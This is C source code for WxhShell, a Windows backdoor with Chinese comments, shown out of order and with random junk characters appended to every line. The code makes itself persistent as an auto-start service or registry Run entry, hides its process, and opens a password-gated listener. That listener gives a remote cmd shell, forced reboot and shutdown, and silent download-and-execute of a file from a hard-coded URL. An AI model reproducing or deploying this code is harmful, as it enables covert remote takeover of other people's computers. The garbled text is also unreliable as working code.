    closesocket(wsh); V'BZ=.=  
    ExitThread(0); ^.$r1/U  
    } @kgpq  
    break; 2 3XAkpzp$  
    } B?zS_Ue  
  // 获取shell p<^/T,&I  
  case 's': { f<t*#]<  
    CmdShell(wsh); 2>_LX!kyP]  
    closesocket(wsh); n4 6PQm%p  
    ExitThread(0); .4m3@!qo)E  
    break; myo~Qqt?  
  } 4mg 7f^[+  
  // 退出 36Fa9P FCc  
  case 'x': { T_|fb)G+{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dg2#Gv0B  
    CloseIt(wsh); ^`PSlT3<F  
    break; 2/<WWfX'  
    } ;V(}F!U\z  
  // 离开 'Q;?_,`  
  case 'q': { VL,?91qwe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nr9#3 Lb  
    closesocket(wsh); B0?@k  
    WSACleanup(); (H|d3  
    exit(1); Ia>th\_&  
    break; 9!/1F !  
        } nQ(:7PFa'  
  } x_^OS"h-  
  } 0 6v5/Xf  
68G] a N3  
  // 提示信息 3@WI*PMc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LW8{a&  
} "u$ ]q1S  
  } 6W#F Ss~  
tFP;CW!E  
  return; |$*9j""u  
} 6"c!tJc7j  
M97p.;;  
// shell模块句柄 wP *a>a  
int CmdShell(SOCKET sock) FYE9&{]h  
{ !z6/.>QJ~  
STARTUPINFO si; Jj _+YfIM  
ZeroMemory(&si,sizeof(si)); p 7E{es|J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n[p9$W`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F#C6.`B  
PROCESS_INFORMATION ProcessInfo; U JRT4>G  
char cmdline[]="cmd"; _ .   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `0gK;D8t  
  return 0; WOTu" Yj  
} VH1c)FI  
s/'hLkxI  
// 自身启动模式 Qmh(+-Mp(  
int StartFromService(void) BE@H~<E J  
{ aNf3 R;*  
typedef struct n7YWc5:CaL  
{ OG$iZiuf  
  DWORD ExitStatus; E$zq8-p|  
  DWORD PebBaseAddress; WiCM,wDi  
  DWORD AffinityMask; 4 Fc1 '  
  DWORD BasePriority; tf}Q%)`f  
  ULONG UniqueProcessId; :zy'hu;  
  ULONG InheritedFromUniqueProcessId; thboHPml{  
}   PROCESS_BASIC_INFORMATION; o2U J*4  
z\ $>k_  
PROCNTQSIP NtQueryInformationProcess; >Zp]vK~s  
xM"XNT6b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qk{UO <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S{|)9EKw  
-`1L[-<d=/  
  HANDLE             hProcess; BGYm]b\j[  
  PROCESS_BASIC_INFORMATION pbi; K`83C`w.  
P\4o4MF@K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TVh7h`Eg  
  if(NULL == hInst ) return 0; /M c"K  
~G^doj3|+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >" 8j{ s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }K]VlFR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z:,!yU c  
> <[.  
  if (!NtQueryInformationProcess) return 0; r*xw\  
?4||L8j2^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L6}x3  
  if(!hProcess) return 0; [5d][1=  
5'[X&r %#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *X55:yha  
G~L#v AY  
  CloseHandle(hProcess); ^\9G{}VY  
. zMM86c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7I3CPc$  
if(hProcess==NULL) return 0; Wb(0Szk;  
 &\br_  
HMODULE hMod; $7 Uk;xV  
char procName[255]; xR%ayT.  
unsigned long cbNeeded; @*{BX~f  
L#N.pd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W3j|%  
l[0P*(I,  
  CloseHandle(hProcess); 6spk* 8e  
{ qx,X.5$  
if(strstr(procName,"services")) return 1; // 以服务启动 eBKIdR%k  
;5_S  
  return 0; // 注册表启动 wx 'Tv  
} !`U<RlK7  
RN3D:b+  
// 主模块 V2* |j8|  
int StartWxhshell(LPSTR lpCmdLine) Q 8E~hgO  
{ }iloX#  
  SOCKET wsl; {j@)sDM X  
BOOL val=TRUE; 4V3 w$:,  
  int port=0; /pN2Jst  
  struct sockaddr_in door; Wm&f+{LO+K  
+# >%bq x  
  if(wscfg.ws_autoins) Install(); AWNd(B2o  
G{Q'N04RA  
port=atoi(lpCmdLine); <LZvh8  
mR@Xt#  
if(port<=0) port=wscfg.ws_port; n?tAa|_  
Y%9F  
  WSADATA data; rq?x]`u   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  n(1" 6  
&4FdA|9T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &3?yg61Ag  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sYgnH:t X  
  door.sin_family = AF_INET; )5OU!c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1dO8[5uM7a  
  door.sin_port = htons(port); 4!qDG+m  
qnRzs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !r <|F  
closesocket(wsl); MF(~!SOIG  
return 1; 3%a37/|~y  
} :.Sc[UI0  
8;NO>L/J]i  
  if(listen(wsl,2) == INVALID_SOCKET) { k| o,gcU  
closesocket(wsl); ![tI(TPq  
return 1; v[ '5X  
} c[7qnSH  
  Wxhshell(wsl); dVfDS-v!  
  WSACleanup(); uK5Px!  
hj1 jY  
return 0; :W.(,65c  
1w^[Eno$$  
} ^w\uOd`  
A 6L}5#7-  
// 以NT服务方式启动 NR@Tj]`k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uHCgIR l>  
{ t}gqk'  
DWORD   status = 0; R<Tzt' z  
  DWORD   specificError = 0xfffffff; bb/MnhB  
A'EA!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <`qo*__1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .D`#a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %"2B1^o>  
  serviceStatus.dwWin32ExitCode     = 0; lhTbgM  
  serviceStatus.dwServiceSpecificExitCode = 0; _F E F+I  
  serviceStatus.dwCheckPoint       = 0; uSjMqfK  
  serviceStatus.dwWaitHint       = 0; G#v7-&Yl6  
d`/{0:F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9@B+$~:}7  
  if (hServiceStatusHandle==0) return; 2[hl^f^%,  
OpE+e4~IF  
status = GetLastError(); (?[cDw/{J:  
  if (status!=NO_ERROR) '3->G/Pu  
{ N~d]}J8}gx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P|U>(9;P,  
    serviceStatus.dwCheckPoint       = 0; U?{j  
    serviceStatus.dwWaitHint       = 0; |VL,\&7rk  
    serviceStatus.dwWin32ExitCode     = status; GAlO<Mu  
    serviceStatus.dwServiceSpecificExitCode = specificError; KRe=n3 1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }D O#{@af  
    return; 0iHI "9z  
  } 5ntP{p%>  
zL'n J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k5YDqG n'q  
  serviceStatus.dwCheckPoint       = 0; c`QsKwa  
  serviceStatus.dwWaitHint       = 0; U\{Z{F%8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ENzeVtw0  
} =qvU9p2o  
z wW9>Y  
// 处理NT服务事件,比如:启动、停止 Z}wAh|N-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VJaL$Wv)H  
{ \zwb>^  
switch(fdwControl) L\[jafb_`  
{ ~^*tIIOX  
case SERVICE_CONTROL_STOP: th)jEK;Z  
  serviceStatus.dwWin32ExitCode = 0; {xX|5/z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z-j\S7F  
  serviceStatus.dwCheckPoint   = 0; +h/$_5  
  serviceStatus.dwWaitHint     = 0; ijB,Q>TgO  
  { x{}m)2[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o<4LL7$A!  
  } .R,8<4  
  return; OA0\b_  
case SERVICE_CONTROL_PAUSE: `L>'9rbZO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; elN3B91\6r  
  break; zU%aobZ  
case SERVICE_CONTROL_CONTINUE: `ijX9c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ck3y]a[  
  break; 7>LhXC  
case SERVICE_CONTROL_INTERROGATE: J:(l&  
  break; 67eo~~nUtg  
}; L"a#Uu8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4o8!p\a  
} 8] *{ i  
? 6l::M  
// 标准应用程序主函数 :jPAA`,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T9^i#8-^  
{ !QovpO">z  
)94R\f  
// 获取操作系统版本 r%m2$vx#  
OsIsNt=GetOsVer(); 2i)y'+s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1"k@O)?JP  
:<W 8uDAs  
  // 从命令行安装 QI- 3m qL  
  if(strpbrk(lpCmdLine,"iI")) Install(); S;g~xo  
?cvv!2B]T  
  // 下载执行文件 x1~`Z}LX0  
if(wscfg.ws_downexe) { u=[oo @Rk`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (2(hl-- 'n  
  WinExec(wscfg.ws_filenam,SW_HIDE); h:;~)={"X  
} Ub$$wOsf  
h4#5j'RO  
if(!OsIsNt) { `6A"e Da  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]Vsze4>Z[  
HideProc(); c2nZd.SD|  
StartWxhshell(lpCmdLine); wK_}`6R/  
} CHz(wn  
else *Pl[a1=o  
  if(StartFromService()) ?r+tU  
  // 以服务方式启动 9HE)!Col  
  StartServiceCtrlDispatcher(DispatchTable); ) l)5^7=W  
else jd{J3s '%  
  // 普通方式启动 ]~P?  
  StartWxhshell(lpCmdLine); BzZy s  
*;m721#  
return 0; 'e)t+  
} m3D'7*U  
 0c{N)  
Km?i{TW  
ICi- iX  
=========================================== DF~w20+  
Y5 dt?a  
}?JO[Q +  
Q pX@;j  
YpL}R#  
x R.Ql>  
" mKg~8q 3  
L,<.rr$:  
#include <stdio.h> u{ng\d*KE}  
#include <string.h> J L3A/^  
#include <windows.h> F ;D_zo?  
#include <winsock2.h> %>.v[d1c  
#include <winsvc.h> bQ)r8[o!  
#include <urlmon.h> "@n$(-.  
Dt ?Fs  
#pragma comment (lib, "Ws2_32.lib") 4c% :?H@2  
#pragma comment (lib, "urlmon.lib") C{) )T5G  
=mZw71,  
#define MAX_USER   100 // 最大客户端连接数 /vMpSN|3  
#define BUF_SOCK   200 // sock buffer 8+gn Wy  
#define KEY_BUFF   255 // 输入 buffer r,}Zc W+  
Hq9(6w9w  
#define REBOOT     0   // 重启 iT%UfN/q=I  
#define SHUTDOWN   1   // 关机 sxqX R6p{  
,LW0{(&z  
#define DEF_PORT   5000 // 监听端口 -[F^~Gv|;  
o+na`ed  
#define REG_LEN     16   // 注册表键长度 Z(Vrmz2.  
#define SVC_LEN     80   // NT服务名长度 K(p1+ GHC  
"FU|I1Xz  
// 从dll定义API E.}Zmr#H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j% nd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~i \69q%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^K"`k43{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]?r8^LyZ4  
i8{jMe!Sa  
// wxhshell配置信息 5&>(|Y~I  
struct WSCFG { 82<L07fB  
  int ws_port;         // 监听端口 @dXf_2Tv=  
  char ws_passstr[REG_LEN]; // 口令 CtfSfSAUuu  
  int ws_autoins;       // 安装标记, 1=yes 0=no zQ [mO  
  char ws_regname[REG_LEN]; // 注册表键名 GA|q[<U  
  char ws_svcname[REG_LEN]; // 服务名 SbZk{lWcq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |qr[*c3$1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~`BOz P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6Z"%vrH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p.%$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bHP-Z9riv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #0R;^#F/  
xv2;h4{<  
}; ;V;4#  
?YS`?Rr  
// default Wxhshell configuration J kA~Ol  
struct WSCFG wscfg={DEF_PORT, +bSv-i-  
    "xuhuanlingzhe", n33SWE(  
    1, {ys_uS{c*  
    "Wxhshell", uPqPoI>N!  
    "Wxhshell", w+}dm^X  
            "WxhShell Service", 'i,<j s3\f  
    "Wrsky Windows CmdShell Service", uYl ?Q  
    "Please Input Your Password: ", My ^pQ]@  
  1, ^v},Sa/ot]  
  "http://www.wrsky.com/wxhshell.exe", [bcqaT  
  "Wxhshell.exe" ;?&;I!  
    }; 'W#<8eJo  
l]ZUKy  
// 消息定义模块 }Yj S v^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iZ:-V8{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QIw.`$H+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aql*@8 )m  
char *msg_ws_ext="\n\rExit."; 1a' JNe$  
char *msg_ws_end="\n\rQuit."; &Ls0!dWC  
char *msg_ws_boot="\n\rReboot..."; RI`A<*>w  
char *msg_ws_poff="\n\rShutdown..."; ^R\blJQ<^  
char *msg_ws_down="\n\rSave to "; |QY+vO7fxj  
&M2x`  
char *msg_ws_err="\n\rErr!"; RBb@@k[v  
char *msg_ws_ok="\n\rOK!"; saZ ;ixV  
Y7p#K<y]9  
char ExeFile[MAX_PATH]; b,'./{c0  
int nUser = 0; KyDBCCOv  
HANDLE handles[MAX_USER]; xs:{%ki  
int OsIsNt; R0|X;3  
mZ5UaSG  
SERVICE_STATUS       serviceStatus; rS jC/O&b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qEpBzQ&gX6  
g&[g?L  
// 函数声明 9\;EX  
int Install(void); V *] !N  
int Uninstall(void); qM`SN4C  
int DownloadFile(char *sURL, SOCKET wsh); ZTun{Dw{  
int Boot(int flag); qg|+BIi Uz  
void HideProc(void); :Cuae?O,  
int GetOsVer(void); t_N `e(V  
int Wxhshell(SOCKET wsl); g(`6cY[}  
void TalkWithClient(void *cs); i^> RjR  
int CmdShell(SOCKET sock); <L`R!}  
int StartFromService(void); OJK/>  
int StartWxhshell(LPSTR lpCmdLine); +VeLd+Q}  
crT[;w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qm '$R3g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p?`N<ykF<  
2H /a&uo@n  
// 数据结构和表定义 e p^0Cd/  
SERVICE_TABLE_ENTRY DispatchTable[] = 5x: XXj"  
{ lC2xl(#!  
{wscfg.ws_svcname, NTServiceMain}, OU##A:gI  
{NULL, NULL} nYe}d!  
}; |EApKxaKD  
A~6 Cs  
// 自我安装 F,W(H@ ~x  
int Install(void) 9W8Dp?:  
{ 8}0 D?  
  char svExeFile[MAX_PATH]; "~ `-Jkm   
  HKEY key; %`TLs^  
  strcpy(svExeFile,ExeFile); `bm-ONK  
kb6v2 ^8H  
// 如果是win9x系统,修改注册表设为自启动 Yv;aQF"a  
if(!OsIsNt) { -lp_~)j^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ M'1aBx^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8sg *qQ  
  RegCloseKey(key); V+8+ 17^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w;_Ds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WS(c0c  
  RegCloseKey(key); &zT~3 >2  
  return 0; w5;EnI  
    } Z`%;bP:  
  } l{R)yTO  
} Xu$*ZJ5w  
else { aZ^lI 6@+4  
^>" ?!lv  
// 如果是NT以上系统,安装为系统服务 :b=0_<G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bcZonS  
if (schSCManager!=0) 1Y`MJ \9  
{ Ob+&!XTp?0  
  SC_HANDLE schService = CreateService yx-"YV}5  
  ( <uvshZ v  
  schSCManager, E%e-R6gl  
  wscfg.ws_svcname, Q4x71*vy  
  wscfg.ws_svcdisp, ovohl<o\  
  SERVICE_ALL_ACCESS, zM'-2,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nh))U  
  SERVICE_AUTO_START, XVfQscZe  
  SERVICE_ERROR_NORMAL, Hke\W'&  
  svExeFile, b-Hn=e_  
  NULL, =VU2#O  
  NULL, DkIkiw{L  
  NULL, n&fV3[m`2  
  NULL, a$GKrc,z  
  NULL cwroG#jGT  
  ); %Xl@o  
  if (schService!=0) 71%u|k8|  
  { -FI1$  
  CloseServiceHandle(schService);  fwEi//1  
  CloseServiceHandle(schSCManager); +D@R'$N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?,NAihN]  
  strcat(svExeFile,wscfg.ws_svcname); oW_WW$+N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (nzt}i0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V6k9L*VP  
  RegCloseKey(key); `et<Z  
  return 0; U]acm\^Z  
    } Z Kvh]  
  } #cs!`Ngb+  
  CloseServiceHandle(schSCManager); N_<n$3P\?f  
} >O _  
} X]!@xlwF\  
8vo} .JIl  
return 1; 2KEww3.{  
} NSq"\A\  
-AE/,@\P  
// 自我卸载 DXt^Ym5Cv  
int Uninstall(void) 1<83MO;  
{ 2Kidbf  
  HKEY key; <fJ\AP5  
vpDs5tUl  
if(!OsIsNt) { hG^23FiN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,zFN3NLtA  
  RegDeleteValue(key,wscfg.ws_regname); [xPE?OD  
  RegCloseKey(key); A@ME7^w7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D\R^*k@V  
  RegDeleteValue(key,wscfg.ws_regname); #vSI_rt9I  
  RegCloseKey(key); b<n)`;  
  return 0; %?fzT+-=%  
  } H4,yuV  
} )sHPIxHI  
} =m:W  
else { 7r>W r#  
DFonK{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z ux2VepT  
if (schSCManager!=0) 2"O Y]d  
{ [7V]=] p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AqkK`iJ#  
  if (schService!=0) ooQ(bF  
  { B^9 #X5!  
  if(DeleteService(schService)!=0) { .yPx'_e  
  CloseServiceHandle(schService); ZTZE_[  
  CloseServiceHandle(schSCManager); bRp[N  
  return 0; WQx;tX  
  } KfNXX>'  
  CloseServiceHandle(schService); %u}sVRJ  
  } vknFtpx  
  CloseServiceHandle(schSCManager); BE~[%6T7  
} `vw.~OBl  
} ;[9Is\  
4lCm(#T{,  
return 1; 7Cf(y'w^  
} bSLj-vp  
AHGcWS\,X  
// 从指定url下载文件 R{vPn8X 6g  
int DownloadFile(char *sURL, SOCKET wsh) 8H?AL RG  
{ B5G$o{WM  
  HRESULT hr; }^7V^W  
char seps[]= "/"; /3]|B%W9  
char *token; 3)Y:c2  
char *file; #EUgb7  
char myURL[MAX_PATH]; {9 O`/|  
char myFILE[MAX_PATH]; +bW|Q>u  
@_3$(*n$~  
strcpy(myURL,sURL); x(=x;X$[^  
  token=strtok(myURL,seps); cmI#R1\  
  while(token!=NULL) ub5hX{uT  
  { Hea<!zPH  
    file=token; hT"K}d;X  
  token=strtok(NULL,seps); E6M: ^p*<  
  } _ GSw\r  
N/BU%c ph+  
GetCurrentDirectory(MAX_PATH,myFILE); gN~y6c:N  
strcat(myFILE, "\\"); H%]ch6C  
strcat(myFILE, file); n~j[Pw  
  send(wsh,myFILE,strlen(myFILE),0); Sj?sw]3  
send(wsh,"...",3,0); [[Z>(d$8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TzGm562o%  
  if(hr==S_OK) U.OX*-Cd  
return 0; g/p }r.  
else VWt'Kx"  
return 1; i:ZA{hA`c  
8 -A7  
} VsEAo  
u(702S4  
// 系统电源模块 gH3kX<e  
int Boot(int flag) L0tKIpk  
{ B_glyC  
  HANDLE hToken; oE1]vX  
  TOKEN_PRIVILEGES tkp; ()?co<@(l  
p)xI5,b$9  
  if(OsIsNt) { )7g_v*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !`o:+Gg@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &tCtCk%{j  
    tkp.PrivilegeCount = 1; nD\os[ 3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [dlH t;S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .N&}<T[  
if(flag==REBOOT) { _9|@nUD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G6{A[O[  
  return 0; ;bX ~4O&v+  
} pIiED9  
else { +z0}{,HX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^]&{"!  
  return 0; I?Fa  
} + t4m\/y  
  } DAHf&/J K  
  else { v qMk)htIz  
if(flag==REBOOT) { 5KE%@,k k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ml?)Sc"\7  
  return 0; PRC)GP&q  
} /? 1Yf  
else { L^1q/4${  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z.&% >%TPP  
  return 0; N09+idg  
} Mk/!,N<h#  
} h./vTNMc  
)=nPM`Jn.  
return 1; !r obau7  
} /(ju  
+WN>9V0H  
// win9x进程隐藏模块 '. Hp*9R  
void HideProc(void) h!av)nhM  
{ l~TIFmHkh%  
Gj8[*3d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8:?Q(M7  
  if ( hKernel != NULL ) sJK:xk.6!  
  { (Zg'pSs)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y6jmn1K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gzCMJ<3!D  
    FreeLibrary(hKernel); c_$&Uii  
  } p[F=LP  
^.kAZSgO  
return; ZQ-`l:G  
} qbq<O %g=  
VfqY_NmgC  
// 获取操作系统版本 a {$k<@Ww  
int GetOsVer(void) 0k 0c   
{ " IkF/  
  OSVERSIONINFO winfo; 76Vyhf&7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J&ECm+2  
  GetVersionEx(&winfo); [2 w <F[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]q[  
  return 1; \*!%YTZ~  
  else #IhLpO  
  return 0; qL5#.bR  
} ;AGs1j  
3k*:B~1  
// 客户端句柄模块 :CST!+)o  
int Wxhshell(SOCKET wsl) C1B3VG  
{ qvU$9cTY  
  SOCKET wsh; DT"Zq  
  struct sockaddr_in client; >l< ~Z;  
  DWORD myID; d3=6MX[c  
+<WRB\W  
  while(nUser<MAX_USER) W;oU +z^t$  
{ n vpPmc  
  int nSize=sizeof(client); Jv^cOc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G q:4rG|  
  if(wsh==INVALID_SOCKET) return 1; T ~~[a|bLa  
z5&%T}$tJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g;#KBxE  
if(handles[nUser]==0) 2C33;?M  
  closesocket(wsh); M|5]#2J_2  
else JlDDM %  
  nUser++; >+jbMAYSq  
  } acYoOW1G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +V);'"L  
U]!.~ji3  
  return 0; xe gL!  
} !E {GcK  
|Iok(0V  
// 关闭 socket {I9 N6BQ&  
void CloseIt(SOCKET wsh) 7hF,gl5  
{ EOPS? @  
closesocket(wsh); t>6x)2,TC  
nUser--; _{*$>1q  
ExitThread(0);  @6YBK+"  
} Pm#x?1rAj  
~r>EF!U`h  
// 客户端请求句柄 tk)>CK11  
void TalkWithClient(void *cs) |IX`(  
{ 2^^'t6@  
[[?[? V ,  
  SOCKET wsh=(SOCKET)cs; : >wQwf  
  char pwd[SVC_LEN]; T7lj39pJq  
  char cmd[KEY_BUFF]; n:*_uc^C  
char chr[1]; vJj:9KcP>h  
int i,j; b y|?g8  
]o[X+;Tj|  
  while (nUser < MAX_USER) { %%+mWz a  
IglJEH[+  
if(wscfg.ws_passstr) { H#|Z8^ *Ds  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &J;H@d||  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cb )=n6  
  //ZeroMemory(pwd,KEY_BUFF); hViprhC  
      i=0; =|gJb|?w  
  while(i<SVC_LEN) { 3Zaq#uA  
N0K>lL=  
  // 设置超时 cbh#E)[ '  
  fd_set FdRead; o,CA;_  
  struct timeval TimeOut; 6R-C0_'h  
  FD_ZERO(&FdRead); bQXc IIa{  
  FD_SET(wsh,&FdRead); KcmDF4C2  
  TimeOut.tv_sec=8; :,S8T%d  
  TimeOut.tv_usec=0; oP=T6PX~l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a81!~1A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^x_ >r6  
;zZ,3pl-E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ovQS ET18b  
  pwd=chr[0]; LZUA+x(  
  if(chr[0]==0xd || chr[0]==0xa) { d DIQ+/mmg  
  pwd=0; ! v-w6WG"  
  break; K9C@dvFH  
  } H b A3*2  
  i++; Z{a{HX[Jx  
    } ![a/kj  
Wkg*J3O  
  // 如果是非法用户,关闭 socket SaR}\Up  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '0CXHjZN  
} pcRF: ~TE  
)BF \!sTn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u>,lf\Fgz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XN~#gm#  
g{A3W) [ b  
while(1) { QIij>!c4  
<TLGfA1bC  
  ZeroMemory(cmd,KEY_BUFF); &\"Y/b]  
!B [1zE  
      // 自动支持客户端 telnet标准   ]r/(n]=(  
  j=0; v:veV.y  
  while(j<KEY_BUFF) { f.b8ZBNj>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IOsXPf9@  
  cmd[j]=chr[0]; u Q:ut(  
  if(chr[0]==0xa || chr[0]==0xd) { VD9 q5tt7  
  cmd[j]=0; vx\nr8'k  
  break; y3={NB+  
  } `d}W;&c  
  j++; I"8d5a}  
    } ^i{,z*vi  
Y]+e  Df  
  // 下载文件 0NL :z1N-h  
  if(strstr(cmd,"http://")) { >vD['XN,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E6'8Zb  
  if(DownloadFile(cmd,wsh)) 3AdP^B<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x1 ;rb8  
  else &5kZ{,-eM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @9_nwf~X4  
  } ur/Oc24i1n  
  else { lq>*x=<  
e Z@Gu  
    switch(cmd[0]) { 9nng}em>.  
  ?vZWUWa  
  // 帮助 sTKab :  
  case '?': { ELN|;^-/|Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^H5w41  
    break; V.K70)]  
  } ZhGh {D[,  
